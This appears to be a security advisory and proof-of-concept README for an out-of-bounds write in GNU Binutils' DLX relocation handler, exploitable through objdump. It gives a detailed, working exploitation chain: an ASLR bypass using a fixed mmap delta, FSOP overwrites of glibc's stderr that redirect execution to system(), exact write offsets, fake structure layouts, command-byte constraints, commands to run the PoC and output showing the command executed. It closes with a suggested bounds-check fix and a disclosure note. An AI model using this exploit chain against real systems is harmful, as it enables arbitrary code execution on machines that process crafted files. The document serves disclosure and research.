Target: GNU Binutils (all versions through HEAD) — objdump
Environment: Debian 13 (Trixie), glibc 2.41, x86_64
Impact: Arbitrary code execution
Vector: Crafted ELF file processed by objdump -g
ASLR: Bypassed (deterministic mmap delta)
Vulnerability
Root cause — bfd/elf32-dlx.c
The R_DLX_RELOC_26_PCREL relocation handler (elf32_dlx_relocate26) performs a 4-byte read/write at data + reloc_entry->address without validating the offset against the section size. Since the function returns bfd_reloc_ok, the generic bounds check in bfd/reloc.c is bypassed entirely.
// bfd/elf32-dlx.c — elf32_dlx_relocate26()
insn = bfd_get_32(abfd, data + reloc_entry->address); // OOB read
vallo = insn & 0x03FFFFFF;
if (vallo & 0x03000000)
vallo = ~(vallo | 0xFC000000) + 1; // sign-extend 26 bits
val = (sym->section->vma + sym->value) - vallo;
insn = (insn & 0xFC000000) | (val & 0x03FFFFFF);
bfd_put_32(abfd, insn, data + reloc_entry->address); // OOB write
return bfd_reloc_ok; // skips bounds check
The offset reloc_entry->address is read directly from the ELF file and can point arbitrarily beyond the section buffer.
mmap proximity trick
On x86_64, ELF32 offsets are zero-extended, limiting writes to positive offsets. A .debug_info section ≥ 128 KB forces malloc() to use mmap(), placing the buffer adjacent to libc's data segment:
┌──────────────────────────────────────┐ ← same mmap region
│ .debug_info buffer (192 KB) │ data = 0x7f...d010
│ ├── fake _IO_wide_data (+0x1000) │
│ └── fake _IO_jump_t (+0x2000) │
│ ... │
│ _IO_2_1_stderr_ │ stderr = data + 0x21a4d0
│ _IO_wfile_jumps │ wfile = data + 0x218218
│ system() │ system() = data + 0x87100
└──────────────────────────────────────┘
The delta stderr - data = 0x21A4D0 is constant across ASLR runs because both regions are allocated by the same mmap during libc loading.
FSOP exploitation chain
Execution path
objdump writes to stderr ("Can't get contents for section...")
└─► _IO_wfile_overflow(stderr)
└─► _IO_wdoallocbuf(stderr)
└─► _IO_WDOALLOCATE(stderr)
= stderr->_wide_data->_wide_vtable->__doallocate(stderr)
= fake_vtable[0x68](https://github.com/4D4J/objdump-Out-Of-Bounds-write/blob/main/stderr)
= system(stderr)
= system("ps") ← stderr._flags[0:2] = "ps"
The 4 OOB writes (PCREL26)
| # | Target (offset from data) | Effect |
|---|---|---|
| 0 | 0x21A4CF = stderr − 1 |
_flags[0:3] = "ps\0" → argument for system() |
| 1 | 0x21A4F8 = stderr + 0x28 |
_IO_write_ptr ≠ 0 → forces flush → overflow |
| 2 | 0x21A56F = stderr + 0x9F |
_wide_data[0:3] → points to fake _IO_wide_data |
| 3 | 0x21A5A7 = stderr + 0xD7 |
vtable[0:3] → _IO_wfile_jumps |
Fake structures (in section buffer)
data + 0x1000 : fake _IO_wide_data
+0xE0 : _wide_vtable → data + 0x2000
data + 0x2000 : fake _IO_jump_t
+0x68 : __doallocate → system()
Command constraints
The 3-byte write into _flags must satisfy glibc's FILE flag layout:
| Bit | Flag | Constraint | Reason |
|---|---|---|---|
| 1 | _IO_UNBUFFERED |
cmd[0] & 0x02 == 0 |
otherwise _IO_wdoallocbuf skips __doallocate |
| 3 | _IO_NO_WRITES |
cmd[0] & 0x08 == 0 |
otherwise overflow returns WEOF immediately |
| 13 | _IO_IS_FILEBUF |
cmd[1] & 0x20 != 0 |
required to enter the doallocate block |
Valid: "ps" — 'p' = 0x70, 's' = 0x73 ✓
Reproduction
Prerequisites
# Build binutils with DLX target support
cd binutils-gdb && mkdir build && cd build
../configure --target=dlx-elf --disable-nls --disable-werror
make -j$(nproc)
Generate payload + run exploit
# Step 1: Generate the malicious ELF
python3 poc_generate.py -o exploit.bin
# Step 2: Run the exploit (ASLR on, standalone, no GDB)
python3 poc_ptrace.py --cmd ps
Expected output
[*] libc: /lib/x86_64-linux-gnu/libc.so.6
[*] cmd = 'ps' low26 = 0x707300
[*] objdump_base = 0x005e61dfbf5000
[*] fn_addr = 0x005e61e06cad90 (elf32_dlx_relocate26)
[*] libc_base = 0x0075b1ed86c000
[*] stderr = 0x0075b1eda524e0
[*] system = 0x0075b1ed8bf110
[*] actual delta = 0x21a4d0 (expected 0x21a4d0)
[*] fake_wdata._wide_vtable <- 0x75b1ed83a010
[*] fake_vtable.__doallocate <- 0x75b1ed8bf110
[*] reloc0 sym->value <- 0x00f693ad (cmd low26=0x707300)
...
PID TTY TIME CMD
9892 pts/4 00:00:00 bash
20332 pts/4 00:00:00 python3
20340 pts/4 00:00:00 objdump
20341 pts/4 00:00:00 sh
20342 pts/4 00:00:00 ps ← arbitrary command executed
[*] Signal 17 received — forwarding and exiting
[+] Done
Suggested fix
Add a bounds check in elf32_dlx_relocate26() before accessing the section data:
if (reloc_entry->address + 4 > input_section->size)
return bfd_reloc_outofrange;
Files
| File | Description |
|---|---|
poc_generate.py |
Generates the malicious DLX ELF payload (exploit.bin) |
poc_ptrace.py |
Standalone exploit — ptrace-based ASLR bypass, no GDB required |
Disclosure
This vulnerability was reported to the GNU Binutils maintainers. Exploit code is provided for authorized security research purposes only.
Comments